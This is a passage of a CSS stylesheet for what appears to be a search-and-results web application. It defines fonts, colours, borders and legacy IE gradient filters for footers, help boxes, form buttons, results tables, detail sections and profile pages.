sans-serif;font-size: 10px;font-weight: normal;color: #808080;}\r\n.productFooterRow{background-color: #ffffff;height: 30px;vertical-align: middle;text-align: center; padding-top: 6px;}\r\n.productFooterLinks{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: normal;color: #808080; }\r\n\r\na.productFooterLinks:link{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #808080;font-weight: bold; text-decoration: none; /*background-color: #003082;*/}\r\na.productFooterLinks:visited{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #808080; font-weight: bold; text-decoration: none;}\r\na.productFooterLinks:hover{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #366EA7; font-weight: bold; text-decoration: underline;}\r\na.productFooterLinks:active{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #808080; font-weight: bold; text-decoration: none;}\r\n\r\n/*** Print Version Footer Styles ***/\r\n\r\n.productFooterTxtPrint{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: normal;color: #003082;}\r\n.productFooterRowPrint{ background-color: #ffffff; height: 30px; vertical-align: middle; text-align: center; padding-top: 6px;}\r\n\r\n/*** Contextual/inline HELP message boxes ***/\r\n\r\n.helpbox {font: .9em Verdana, Arial, Helvetica, sans-serif; padding: 5px; margin-top: 10px; width:100%;text-align: center; }/*** class controls the div attributes  ***/\r\n#helpboxHelp {color:#996600; background-color:#ffffcc; border:1px solid #ffcc33; }/*** use for contextual help and messaging i.e. \"help text\" ***/\r\n#helpboxWarning {color:#992400; background-color:#ffe9cc; border:1px solid #ff7433;}/*** use when there is an error, status negative results, or needs attention i.e. \"requires attention\" or \"ERROR\" ***/\r\n#helpboxStatus {color:#617c1d; background-color:#e1f5d5; border:1px solid #a9d859;}/*** use when there is a status update or positive resulting change i.e. \"OK\", \"Successfully updated\" or \"OK to Proceed\" ***/\r\n\r\n\r\n/*** MOUSEOVER HELP ***/\r\n\r\n.mouseoverBox{position:absolute; background-color:#FFFFDD;color:black;border-color:#000000;border-width:2px; visibility:show; left:25px; top:-100px;z-index:+1;}\r\n.mousoverTxt{font-family: Arial, Helvetica, sans-serif; font-size: 8px; color: #333333;}\r\n\r\n\r\n/*** POPUP HELP ***/\r\n\r\n.helpBoxHeader{ font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; color: #ffffff; text-transform: uppercase; padding: 3px 3px 3px 8px; background-color: #366EA7; border-bottom-style: solid; border-bottom-color: #99948E; border-bottom-width: 1px;}\r\n\r\n.helpBox{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: normal; color: #304966; border-right-style: solid; border-right-color: #99948E; border-right-width: 1px; border-bottom-style: solid; border-bottom-color: #99948E; border-bottom-width: 1px; border-left-style: solid; border-left-color: #99948E; border-left-width: 1px; background-color:#F2F2F2; padding:10px;}\r\n\r\na.edit{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: bold; color:#F2F3F7;}\r\na.edit:link{font: 8pt Verdana, Arial, Helvetica, sans-serif;font-weight:bold; color:#F2F3F7;}\r\na.edit:visited{ font: 8pt Verdana, Arial, Helvetica, sans-serif;font-weight:bold; color:#F2F3F7;}\r\na.edit:hover{font: 8pt Verdana, Arial, Helvetica, sans-serif;font-weight:bold; color:#F2F3F7;}\r\na.edit:active{font: 8pt Verdana, Arial, Helvetica, sans-serif; font-weight:bold; color:#F2F3F7;}\r\n\r\n.xClose{font-family: Arial, Helvetica, sans-serif; font-size: 14px;color: #CBCBCB; font-weight: bold; padding-right: 1px;padding-left: 1px;padding-top: 0px;padding-bottom: 3px;position: relative; text-decoration: none;}\r\n\r\n.PrintBtn{font-family: Arial, Helvetica, sans-serif; font-size: 10px;color: #ffffff; font-weight: bold; padding-right: 6px; padding-left: 6px; padding-top: 3px; padding-bottom: 4px;position: relative; text-decoration: none;}\r\na.PrintBtn:link {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #666666; text-decoration: none;padding-right: 6px; padding-left: 6px; padding-top: 3px; padding-bottom: 4px;border-left:1px solid #CBCBCB; border-right:1px solid #CBCBCB; border-top:1px solid #CBCBCB; border-bottom:1px solid #CBCBCB; background-color: #ffffff; position: relative;}\r\na.PrintBtn:visited {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: bold; color: #666666; text-decoration: none; padding-right: 6px; padding-left: 6px;padding-top: 3px;padding-bottom: 4px;border-left:1px solid #CBCBCB;border-right:1px solid #CBCBCB; border-top:1px solid #CBCBCB; border-bottom:1px solid #CBCBCB; background-color: #ffffff; position: relative;}\r\na.PrintBtn:hover { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: bold; color: #333333; text-decoration: underline;padding-right: 6px;padding-left: 6px;padding-top: 3px;padding-bottom: 4px;border-left:1px solid #CBCBCB; border-right:1px solid #CBCBCB; border-top:1px solid #CBCBCB; border-bottom:1px solid #CBCBCB;background-color: #ffffff; position: relative;}\r\na.PrintBtn:active {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: bold; color: #666666; text-decoration: none;padding-right: 6px; padding-left: 6px; padding-top: 3px; padding-bottom: 4px;border-left:1px solid #CBCBCB; border-right:1px solid #CBCBCB;  border-top:1px solid #CBCBCB;  border-bottom:1px solid #CBCBCB;  background-color: #ffffff; position: relative;}\r\n\r\na.closeWindow:link {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #666666; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 0px; padding-bottom: 0px; border-left:1px solid #CBCBCB; border-right:1px solid #CBCBCB; border-top:1px solid #CBCBCB; border-bottom:1px solid #CBCBCB; background-color: #ffffff; position: relative;}\r\na.closeWindow:visited {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #666666; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 0px; padding-bottom: 0px; border-left:1px solid #CBCBCB;  border-right:1px solid #CBCBCB;  border-top:1px solid #CBCBCB;  border-bottom:1px solid #CBCBCB;  background-color: #ffffff; position: relative;}\r\na.closeWindow:hover {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #333333; text-decoration: underline; padding-right: 3px; padding-left: 3px; padding-top: 0px; padding-bottom: 0px; border-left:1px solid #CBCBCB;  border-right:1px solid #CBCBCB;  border-top:1px solid #CBCBCB;  border-bottom:1px solid #CBCBCB;  background-color: #ffffff; position: relative;}\r\na.closeWindow:active {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: bold; color: #666666; text-decoration: none; padding-right: 3px; padding-left: 3px; padding-top: 0px; padding-bottom: 0px; border-left:1px solid #CBCBCB;  border-right:1px solid #CBCBCB;  border-top:1px solid #CBCBCB;  border-bottom:1px solid #CBCBCB;  background-color: #ffffff; position: relative;}\r\n\r\n/*** END POPUP HELP ***/\r\n\r\n/*=========================================== Search Page Styles ============================================================*/\r\n\r\n/*** Forms and Menu Options ***/ \r\n\r\n.quickSearchLabel {font-family: Arial, Helvetica, sans-serif; font-size: 12px;font-weight: bold; color: #000000; }\r\n.quickSearchLabelArrw {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: normal;color: #d64d18; }\r\n.quickSearch {font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 10px;color: #2F2F2F; background-color: #ffffff; border: 1px solid #B0C0CF; padding-left: 2px;}\r\n\r\n\r\n/*** Search Form ***/\r\n\r\n\r\n.searchGroupLabel{font-family: Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color: #000000;}\r\n.searchFieldLabel{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #000000; font-weight: bold;}\r\n.searchFieldLabelSm{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #000000; font-weight: normal;}\r\n.searchSubFieldLabel{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #000000; font-weight: normal;}\r\n.searchRequiredField{font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 9px; font-weight: bold; color: #FF0000;}\r\n.searchDataTxt{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-weight: normal; color: #999999;}\r\n\r\n.searchHelpTxt{font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 10px; color: #666666; font-weight: normal;}\r\na.searchHelpTxt:link{font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 10px; color: #0A4CBC; font-weight: normal; text-decoration: none;}\r\na.searchHelpTxt:visited{font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 10px; color: #0A4CBC; font-weight: normal; text-decoration: none;}\r\na.searchHelpTxt:hover{ font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 10px; color: #0A4CBC; font-weight: normal; text-decoration: underline;}\r\na.searchHelpTxt:active{ font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 10px; color: #0A4CBC; font-weight: normal; text-decoration: none;}\r\n \r\n/************ Form Buttons  ******************/\r\n\r\n/* Usage Explanation:\r\nfrmfrmButtSearch=  Search ONLY\r\nfrmButtSubmit= New Search Button/Go button for updated apps\r\nfrmButt1=  Search/Submit\r\nfrmButt2=  Secondard Buttons ex- mark/unmark, lookup codes etc\r\nfrmButt3=  Tertiary buttons ex- subscribe/unsubscribe etc\r\nfrmButtCR=  Cancel/Reset only\r\nfrmButtAdmin= Internal only button\r\n\r\nfrmButtAdmin= Internal only button\r\nfrmButtAdminCR= Cancel/Reset only\r\n*/\r\n\r\ninput.frmButtSearch {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;font-weight: bold; color: #ffffff; text-decoration: none; \r\nborder-top-width: 1px; border-right-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-top-style: solid;border-right-style: solid;\r\nborder-bottom-style: solid; border-left-style: solid; border-top-color: #A8B9D2; border-right-color: #56698B;border-bottom-color: #56698B;border-left-color: #A8B9D2; \r\npadding-right: 3px; padding-left: 3px; padding-top: 1px;padding-bottom: 2px;background-color: #d5600b; \r\nfilter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=\'#fffe7625\',EndColorStr=\'#ffdb470a\');cursor:pointer;}\r\n\r\ninput.frmButtSubmit {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;font-weight: bold;color: #ffffff; text-decoration: none;\r\n border-top-width: 1px; border-right-width: 1px;border-bottom-width: 1px;border-left-width: 1px;\r\n border-top-style: solid;border-right-style: solid; border-bottom-style: solid; border-left-style: solid;\r\n border-top-color: #A8B9D2; border-right-color: #56698B;border-bottom-color: #56698B; border-left-color: #A8B9D2;\r\n padding-right: 2px; padding-left: 2px; padding-top: 1px;padding-bottom: 1px;background-color: #d5600b;  \r\n filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=\'#fffe7625\',EndColorStr=\'#ffdb470a\');cursor:pointer;}\r\n\r\ninput.frmButt { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: bold;color: #000000; text-decoration: none;\r\n border-top-width: 1px; border-right-width: 1px;border-bottom-width: 1px;border-left-width: 1px;\r\n border-top-style: solid;border-right-style: solid;border-bottom-style: solid; border-left-style: solid;\r\n border-top-color: #A8B9D2; border-right-color: #56698B;border-bottom-color: #56698B;border-left-color: #A8B9D2;\r\n padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px;\r\n background-color: #E3EAF9;  filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=\'#ffE9F1FF\',EndColorStr=\'#ffA6C6F7\');cursor:pointer;}\r\n\r\ninput.frmButt1 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: bold;color: #000000; text-decoration: none;\r\n border-top-width: 1px; border-right-width: 1px;border-bottom-width: 1px; border-left-width: 1px;\r\n border-top-style: solid;border-right-style: solid; border-bottom-style: solid; border-left-style: solid;\r\n border-top-color: #A8B9D2; border-right-color: #56698B;border-bottom-color: #56698B;border-left-color: #A8B9D2;\r\n padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px;\r\n background-color: #E3EAF9;  filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=\'#ffE9F1FF\',EndColorStr=\'#ffA6C6F7\');cursor:pointer;}\r\n\r\ninput.frmButtCR {font-family: verdana, arial, helvetica, sans-serif;font-size: 10px;font-weight: bold; color: #666666;\r\n border: 1px solid; border-top-color: #B7B7B7; border-right-color: #6E6D6D;border-bottom-color: #6E6D6D;border-left-color: #B7B7B7;\r\n margin-top: 0px;margin-bottom: 0px; margin-right: 0px;margin-left: 0px;\r\n padding-right: 3px; padding-left: 3px; padding-top: 1px;padding-bottom: 2px;\r\n background-color: #ffffff; filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=\'#ffFAFAFA\',EndColorStr=\'#ffDEDEDE\');cursor:pointer;}\r\n\r\n.frmButtArrow  {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;color: #022C70; text-decoration: none; margin: auto; padding: 1px; width: 23px; border:1px solid; border-top-color: #B0B3C1; border-right-color: #415294; border-bottom-color: #415294; border-left-color: #B0B3C1;background-color: #EFF3FF; filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=\'#ffEFF3FF\',EndColorStr=\'#ffC6DCF3\'); cursor:pointer;}\r\n.frmButtArrow1  {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 11px;color: #022C70; text-decoration: none; margin: auto; padding: 1px; width: 23px; border: 1px solid; border-top-color: #B0B3C1; border-right-color: #415294; border-bottom-color: #415294; border-left-color: #B0B3C1; background-color: #EFF3FF; filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=\'#ffEFF3FF\',EndColorStr=\'#ffC6DCF3\');cursor:pointer;}\r\n\r\n\r\ninput.frmButtAdmin {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;font-weight: bold; color: #000000;\r\n border:1px solid; border-top-color: #E2691F; border-right-color: #992B00; border-bottom-color: #992B00; border-left-color: #E2691F;\r\n margin-top: auto; margin-bottom: auto; margin-right: 0px; margin-left: 0px; \r\n padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px;\r\n background-color:#F9E0A5; filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=\'#ffFFEFC9\',EndColorStr=\'#ffF8C771\');cursor:pointer;}\r\n\r\n\r\ninput.frmButtAdminEdit { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9px; font-weight: bold; color: #000000;\r\n border:1px solid; border-top-color: #E2691F; border-right-color: #992B00; border-bottom-color: #992B00; border-left-color: #E2691F;\r\n margin-top: auto; margin-bottom: auto; margin-right: 0px; margin-left: 0px; \r\n padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px;\r\n background-color:#F9E0A5; filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=\'#ffFFEFC9\',EndColorStr=\'#ffF8C771\');cursor:pointer;}\r\n \r\ninput.frmButtAdminCR { font-family: verdana, arial, helvetica, sans-serif; font-size: 10px;font-weight: bold; color: #666666;\r\n border: 1px solid; border-top-color: #B7B7B7; border-right-color: #6E6D6D; border-bottom-color: #6E6D6D; border-left-color: #B7B7B7;\r\n margin-top: 0px; margin-bottom: 0px; margin-right: 0px; margin-left: 0px;\r\n padding-right: 3px; padding-left: 3px; padding-top: 1px; padding-bottom: 2px;\r\n background-color: #ffffff; filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=0,StartColorStr=\'#ffFAFAFA\',EndColorStr=\'#ffDEDEDE\'); cursor:pointer;}\r\n\r\n\r\n/*============================================= Search Results Page Styles ==========================================================*/\r\n\r\n.resultsTableBorder{/* border-top: 1px solid #6799ce; border-right: 1px solid #6799ce; border-bottom: 1px solid #6799ce; \r\nborder-left: 1px solid #6799ce;*/ border: 1px solid #cccccc; padding: 0px;}\r\n.resultsPageTitle{font: 10px Verdana, Arial, Helvetica, sans-serif; color: #333333; text-decoration: none; font-weight:bold;}\r\n.resultsPageNumberBg{background-color: #ffffff; }\r\n\r\n/*** Column Headers ***/\r\n\r\n.resultsColumnHeaderTitleUnselected {font: bold 1em Verdana, Arial, Helvetica, sans-serif; color: #000000;}\r\n.resultsColumnHeaderTitleSelected {font: bold 1em Verdana, Arial, Helvetica, sans-serif; color: #ffffff;}\r\n\r\n.resultsColumnHeaderBgSelected {background-color: #6799ce; border-top: 1px solid #ffffff; border-right: 1px solid #ffffff; border-bottom: 1px solid #ffffff;    \r\npadding-left: 8px; padding-right: 8px; padding-top: 4px; padding-bottom: 4px;}\r\n.resultsColumnHeaderBgUnselected {background-color: #c5d7e9; border-top: 1px solid #ffffff; border-right: 1px solid #ffffff; border-bottom: 1px solid #ffffff; \r\n padding-left: 4px; padding-right: 8px; padding-top: 4px; padding-bottom: 4px;}\r\n.resultsHeaderBtmBorder{border-bottom: 1px solid #ffffff; margin: 0px 0px 5px 0px;}\r\n\r\n/*** Data Rows ***/\r\n\r\n.resultsDataRow1{background-color: #f8f8f8; padding: 5px;}\r\n.resultsDataRow2{background-color: #e1e2e3; padding: 5px;}\r\n\r\n.resultsDataLabel{font: 11px Verdana, Helvetica, Arial, sans-serif; color: #333333; font-weight:bold;}\r\n\r\n.resultsDataTxt{ font: 10px Verdana, Helvetica, Arial, sans-serif; color: #333333; padding: 5px; border-bottom: 1px solid #ffffff;}\r\na.resultsDataTxt:link { font: 10px Verdana, Helvetica, Arial, sans-serif; color: #154aa1;}\r\na.resultsDataTxt:visited {font: 10px Verdana, Helvetica, Arial, sans-serif; color: #5c84c4;}\r\na.resultsDataTxt:hover {font: 10px Verdana, Helvetica, Arial, sans-serif; color: #6197CE; text-decoration:underline;}\r\na.resultsDataTxt:active {font: 10px Verdana, Helvetica, Arial, sans-serif; color: #154aa1;}\r\n\r\n#resultsOppTxt{font: 10px Verdana, Helvetica, Arial, sans-serif; color: #ca4e02;}\r\n#resultsBidTxt{font: 10px Verdana, Helvetica, Arial, sans-serif; color: #75ad0c;}\r\n\r\n.resultsDoubleArrows{font: 11px Verdana, Helvetica, Arial, sans-serif; color: #000000;}\r\n\r\n\r\n/*** View Page Numbers Section ***/\r\n\r\n.resultsPageNumbers{font: 10px Verdana, Arial, Helvetica, sans-serif; color: #CC3300; text-decoration: none; font-weight: bold;}\r\n\r\n.resultsViewingPagesTitle{font: 10px Verdana, Arial, Helvetica, sans-serif; color: #333333; font-weight:bold; text-decoration: none; }\r\na.resultsViewingPagesTitle{ font: 10px Verdana, Arial, Helvetica, sans-serif; color: #154AA1; font-weight:bold; text-decoration: none;}\r\na.resultsViewingPagesTitle:link{ font: 10px Verdana, Arial, Helvetica, sans-serif; color: #154AA1; font-weight:bold; text-decoration: underline;}\r\na.resultsViewingPagesTitle:visited{ font: 10px Verdana, Arial, Helvetica, sans-serif; color: #4B7ECC; font-weight:bold; text-decoration: underline;}\r\na.resultsViewingPagesTitle:hover{ font: 10px Verdana, Arial, Helvetica, sans-serif; color: #4B7ECC; font-weight:bold; text-decoration: none;}\r\na.resultsViewingPagesTitle:active{ font: 10px Verdana, Arial, Helvetica, sans-serif; color: #154AA1; font-weight:bold; text-decoration: none;}\r\n\r\n/*** End Pagination ***/\r\n\r\n/*** END SEARCH RESULTS STYLES ***/\r\n\r\n\r\n/*================================== Detail Pg Styles ============================================================*/\r\n\r\n/*** MARK OPPTY BOX ***/\r\n\r\n.markOppHeader{ font: \'Lucida Grande\', Geneva, Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold; color: #333333; padding: 2px;}\r\n.markOppBoxHeader{border-bottom: 1px solid #B0C0CF; background-color: #E9E9E3; padding: 2px;}\r\n.markOppBox{border: 1px solid #B0C0CF; padding: 2px;}\r\n\r\n/************* section boxes *************/\r\n\r\n/*** Main Sections ***/\r\n\r\n.detailSectionHeaderTitle { font-family: \"Lucida Grande\", geneva, arial, helvetica, sans-serif; font-size: 15px; font-weight: bold; color: #000000;padding-left: 3px;padding-top: 2px;padding-right: 2px;padding-bottom: 2px;}\r\n\r\n.detailSectionHeaderBg{ background-color: #e2ecf8; border-bottom: 1px solid #cccccc; padding: 1px;}\r\n\r\n/***.detailSectionHeaderBg{ background-color: #efefef; border-bottom: 1px solid #9c9c9c; padding: 1px;}***/\r\n\r\n.detailSectionHeaderBg2{background-color: #8BB2DA;}\r\n.detailSectionOuterBorder{border: 1px solid #cccccc;}\r\n\r\n.detailSectionColumnTitle{ font-family:  Verdana, Arial, Helvetica,sans-serif; font-size: 12px; font-weight: bold; color: #232323; padding: 1px;}\r\n\r\n.detailDataRowBg1{ background-color: #ffffff; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 3px;}\r\n.detailDataRowBg2{ background-color: #f6f6f6; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 3px;}\r\n.detailDataLabelRowBg{ background-color: #e1e2e3; padding-top: 2px; padding-right: 0px; padding-bottom: 2px; padding-left: 3px;}\r\n\r\n\r\n/*** Sub Sections ***/\r\n\r\n.detailSubSectionHeaderTitle{font-family: Verdana, Arial, Helvetica,sans-serif; font-size: 13px; color: #232323; font-weight: bold; padding-left: 3px;padding-top: 1px;padding-right: 1px;padding-bottom: 1px;}\r\n.detailSubSectionHeaderBg{ background-color: #d0e4f9; border-bottom : 1px solid #B0C0CF; padding: 1px;}\r\n\r\n.detailSubSectionHeaderBg2{ background-color: #d0e4f9; border-bottom : 1px solid #B0C0CF,; padding: 1px;}\r\n\r\n.detailSubSectionBorder{border: 1px solid #B0C0CF;}\r\n.detailSubSectionBorder2{border: 1px solid #ECE9D8;}\r\n\r\n.detailInfoBox{ padding-top: 10px; padding-right: 0px; padding-bottom: 10px; padding-left: 10px;}\r\n\r\n.detailSubTableHeader{ background-color: #E6F2FF;}\r\n\r\n/*** content ***/\r\n\r\n.SrchResHighlight{font-weight: bold; background-color: #FFFF99;}\r\n\r\n.detailDataLabel{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: bold;  color: #000000;}\r\n\r\n.detailDataTxt{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;font-weight: normal;color: #000000;}\r\n.detailDataTxt:link{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;color: #0A4CBC; text-decoration: none;}\r\n.detailDataTxt:visited{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;color: #6197CE; text-decoration: none;}\r\n.detailDataTxt:hover{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 11px;color: #6197CE; text-decoration: underline;}\r\n.detailDataTxt:active{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 11px;color: #0A4CBC;text-decoration: none;}\r\n.detailDataGroupTitle{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 12px;font-weight: bold; color: #393939;}\r\n\r\n.detailNoDataTxt{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #7D7D7D;}\r\n\r\n/*** Graphs/Charts/Tables ***/\r\n\r\n.detailGraphDataTitle{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;font-weight: bold;color: #3B3B3B;}\r\n.detailGraphData{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;font-weight: normal;color: #000000;}\r\n\r\n.detailTableBorder{ border: 1px solid #6897CB;}\r\n.detailTableHeader{ background-color: #D1E2FE;}\r\n.detailTableHeader2{background-color: #BDD6FF;}\r\n\r\n.detailTableHeaderTitle{font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 13px; font-weight: bold; color: #232323;}\r\n.detailTableColumnTitle{font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 12px; font-weight: bold; color: #232323;}\r\n\r\n.detailChartDataTxt{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-weight: normal; color: #000000;}\r\n\r\n.detailTableRow1Bg{ background-color: #e1e2e3;padding-left: 3px;padding-right: 3px;padding-top: 2px;padding-bottom: 2px;}\r\n.detailTableRow2Bg{ background-color: #f8f8f8;padding-left: 3px;padding-right: 3px;padding-top: 2px;padding-bottom: 2px;}\r\n.detailTableRowBtmBg{background-color: #C0C0C0;}\r\n.detailTableRowSubHeader{background-color: #d1e2fe; font-family: \"Geneva\", Arial, Helvetica, sans-serif;font-size: 11px;font-weight: bold;color: #003063;}\r\n\r\n/*** links  ***/\r\n\r\na.detailLink:link {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #0A4CBC; text-decoration: none; font-weight: normal;}\r\na.detailLink:visited {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #6197CE; text-decoration: none;}\r\na.detailLink:hover {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #0A4CBC; text-decoration: underline; background-color: #DDEEFF;}\r\na.detailLink:active {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; color: #0A4CBC; text-decoration: none;}\r\n\r\n/*** special links ***/\r\n\r\na.detailLinkSm:link {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #0A4CBC; text-decoration: none;}\r\na.detailLinkSm:visited {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #6197CE; text-decoration: none;}\r\na.detailLinkSm:hover { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #0A4CBC; text-decoration: underline; background-color: #DDEEFF;}\r\na.detailLinkSm:active { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #0A4CBC; text-decoration: none;}\r\n\r\n/*** Copyright Info and Data Source Txt ***/\r\n\r\n.detailCopyrightHeader{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;font-weight:bold; color: #333333;}\r\n.detailCopyrightTxt{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #666666;}\r\n\r\n.detailDataSource{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #666666;}\r\n\r\n/*====================================================== SUB DETAIL PAGES ============================================*/\r\n\r\n.subDetailDataLabel{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;font-weight: bold; color: #000000;}\r\n.subDetailDataTxt{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;font-weight: normal;color: #000000;}\r\n.subDetailSubheaderTxt{ font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 12px; color: #000000; font-weight: bold;}\r\n.subDetailSubheaderBg{ background-color: #B3D1EE; border: 1px solid #4478CD;}\r\n\r\n\r\n/***====================================== Profile Pages =============================================***/\r\n\r\n/*************** Profile Listing Page ************/\r\n\r\n/*** Profile Left Nav Section ***/\r\n\r\n.profNavBox{background-color: #DBEDFE; border: 1px solid #9DC9E9; margin: 3px;}\r\n.profNavLinkSubHead{font-size: 13px;font-weight: bold; color: #000000; padding-top: 10px; padding-bottom: 3px;}\r\n\r\n/*** Profile Listing ***/\r\n\r\n.profListingSubHeader{font-family: Arial, Helvetica, sans-serif;font-size: 14px;color: #555555; font-weight: bold;}\r\n.profListingSubHeaderSm{font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 12px;color: #CC6600; font-weight: normal;}\r\n.profListingListHeader{ font-family: Arial, Helvetica, Verdana, sans-serif; font-size: 12px;color: #000000; font-weight: bold;}\r\n\r\nul.profLibList{ list-style-type: square;padding: 0; margin-left: 1em;color: #666666;padding-right: 50px;}\r\n\r\n/*** Profile Tabs ***/\r\n\r\n.profTabLink{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #333333; text-decoration:none;font-weight: bold;}\r\na.profTabLink{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #0F2242; text-decoration:none;font-weight: bold;}\r\na.profTabLink:visited{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #154AA1; text-decoration:none;font-weight: bold;}\r\na.profTabLink:hover{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #ffffff; text-decoration:none;font-weight: bold;}\r\na.profTabLink:active{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #ffffff; text-decoration:none;font-weight: bold;}\r\n\r\n/*** Profile Quick Links and Menus ***/\r\n\r\n.profSubTabSection{ background-color: #A5C7EA; border: 1px solid #6897CB;}\r\n.profSelections{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;color: #000000;}\r\n\r\n/*** Quick Links ***/\r\n\r\n.profSectionBox{background-color: #DDEAF6;border: 1px solid #96BDE4;}\r\n.profSectionBoxQL{background-color: #F3F2DD;border: 1px solid #96BDE4;}\r\n\r\n.profSectionBoxSubHeader{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 12px;color: #000000; font-weight: bold;}\r\na.profSectionBoxLink{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #1B417F;text-decoration:none;}\r\n\r\na.profSectionBoxLink:visited{font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 10px;color: #1B417F; /*background-color: #D4E6F2; border: 1px solid #96BDE4; position: relative; padding-top: 1px; padding-right: 3px; padding-bottom: 2px; padding-left: 3px;*/ text-decoration:none;}\r\na.profSectionBoxLink:hover{ font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #154AA1; /*background-color: #ffffff; border: 1px solid #96BDE4; position: relative; padding-top: 1px; padding-right: 3px; padding-bottom: 2px; padding-left: 3px;*/ text-decoration:underline;}\r\na.profSectionBoxLink:active{font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px;color: #1B417F; 